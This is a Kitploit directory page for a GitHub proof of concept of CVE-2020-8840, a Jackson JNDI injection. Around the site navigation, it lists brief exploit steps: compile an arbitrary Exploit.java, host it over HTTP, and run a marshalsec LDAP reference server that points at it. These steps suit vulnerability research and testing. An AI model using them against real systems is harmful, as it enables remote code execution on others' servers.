Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-8840 — jackson jndi injection | Kitploit
Tools/GitHubGitHub/blyth0he/cve-2020-8840
Vulnerability AnalysisExploitationWeb Application ExploitationRemote Access ToolPayload Development
GitHubblyth0he/cve-2020-8840

CVE-2020-8840

jackson jndi injection

View Repository
146 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-8840

Environment

root@kitploit:~
jdk 8u161
windows10 1903

Procedure

root@kitploit:~
1.Create a java file named Exploit.java with code you wanna run in it & compile it
2.Create a http server using python or other tools at the same dir of class file
3.Create a ldap server using marshalsec: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit
Download Tool